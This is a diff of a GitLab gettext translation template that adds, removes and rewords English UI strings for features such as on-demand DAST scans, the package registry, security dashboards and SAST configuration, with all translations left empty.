msgid "Never"
msgstr ""
@@ -16181,12 +16732,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16274,18 +16831,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16433,9 +16984,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16475,9 +17023,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16520,21 +17065,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16544,25 +17095,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16620,9 +17177,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16641,6 +17195,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16656,9 +17213,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16779,18 +17342,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16824,9 +17381,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -16911,6 +17465,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -16926,6 +17486,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -16944,9 +17507,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -16983,27 +17543,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17052,13 +17603,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17202,7 +17759,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17706,6 +18263,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17859,13 +18419,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17877,6 +18437,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18168,15 +18731,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18567,6 +19124,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18591,6 +19151,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19182,7 +19745,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19191,10 +19754,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19254,6 +19826,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19308,6 +19883,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19389,6 +19967,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19719,9 +20300,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19816,6 +20394,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -19907,6 +20488,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -19949,6 +20533,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20018,9 +20605,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20054,9 +20638,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20069,12 +20650,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20123,15 +20698,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20313,9 +20882,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20501,9 +21067,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20682,6 +21254,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20694,6 +21269,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20820,6 +21398,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20850,6 +21431,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -20898,6 +21482,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -20940,6 +21527,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21127,6 +21717,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21154,13 +21747,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21181,6 +21798,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21208,7 +21828,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21244,13 +21864,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Edit dashboard"
-msgstr ""
-
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21265,19 +21882,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21289,6 +21900,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21307,13 +21921,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21385,7 +21999,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21394,6 +22008,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21424,9 +22041,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21550,6 +22164,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21580,6 +22197,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21769,6 +22389,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21781,6 +22407,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22095,19 +22727,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22203,6 +22835,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22245,7 +22880,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22296,12 +22931,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22359,6 +23003,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22488,10 +23135,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23388,6 +24035,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23436,6 +24086,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23448,6 +24101,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23627,6 +24283,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23694,9 +24356,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23733,14 +24392,11 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23767,6 +24423,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23797,6 +24456,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23851,6 +24513,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -23951,13 +24619,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -23996,6 +24664,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24113,6 +24784,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24188,12 +24862,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24206,6 +24883,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24356,19 +25036,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24392,6 +25072,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24422,7 +25105,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24596,9 +25279,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24761,15 +25441,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24830,6 +25510,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25201,9 +25884,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
